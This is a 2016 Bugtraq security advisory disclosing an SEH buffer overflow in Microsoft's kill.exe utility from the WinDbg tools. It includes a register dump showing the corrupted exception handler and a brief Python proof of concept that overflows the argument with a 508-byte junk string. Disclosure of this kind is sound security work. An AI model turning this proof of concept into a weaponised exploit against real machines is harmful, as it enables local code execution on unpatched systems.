bugtraq - Microsoft Process Kill Utility "kill.exe" Buffer Overflow

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Date: Fri, 8 Jul 2016 04:10:49 GMT
From: hyp3rlinx@...os.com
To: bugtraq@...urityfocus.com
Subject: Microsoft Process Kill Utility "kill.exe" Buffer Overflow

[+] Credits: HYP3RLINX	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/MS-KILL-UTILITY-BUFFER-OVERFLOW.txt

[+] ISR: ApparitionSec

Vendor:
=================
www.microsoft.com

Product:
=========================================
Microsoft Process Kill Utility "kill.exe"
File version: 6.3.9600.17298

The Kill tool (kill.exe), a tool used to terminate a process, part of the WinDbg program.

Vulnerability Type:
===================
Buffer Overflow

SEH Buffer Overflow @ about 512 bytes

Vulnerability Details:
=====================

Register dump

'SEH chain of main thread
Address    SE handler
001AF688   kernel32.756F489B
001AFBD8   52525252
42424242   *** CORRUPT ENTRY ***

001BF81C   41414141  AAAA
001BF820   41414141  AAAA
001BF824   41414141  AAAA
001BF828   41414141  AAAA
001BF82C   41414141  AAAA
001BF830   41414141  AAAA
001BF834   909006EB  ë  Pointer to next SEH record   
001BF838   52525252  RRRR  SE handler  <================ 
001BF83C   90909090  
001BF840   90909090  

Exploit code(s):
================

Python POC.

import subprocess

junk="A"*508+"RRRR"

pgm='c:\\Program Files (x86)\\Windows Kits\\8.1\\Debuggers\\x86\\kill.exe '
subprocess.Popen([pgm, junk], shell=False)

Disclosure Timeline:
==================================
Vendor Notification: June 24, 2016
Vendor reply:  Will not security service
July 8, 2016  : Public Disclosure

Exploitation Technique:
=======================
Local

Severity Level:
================
Low

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX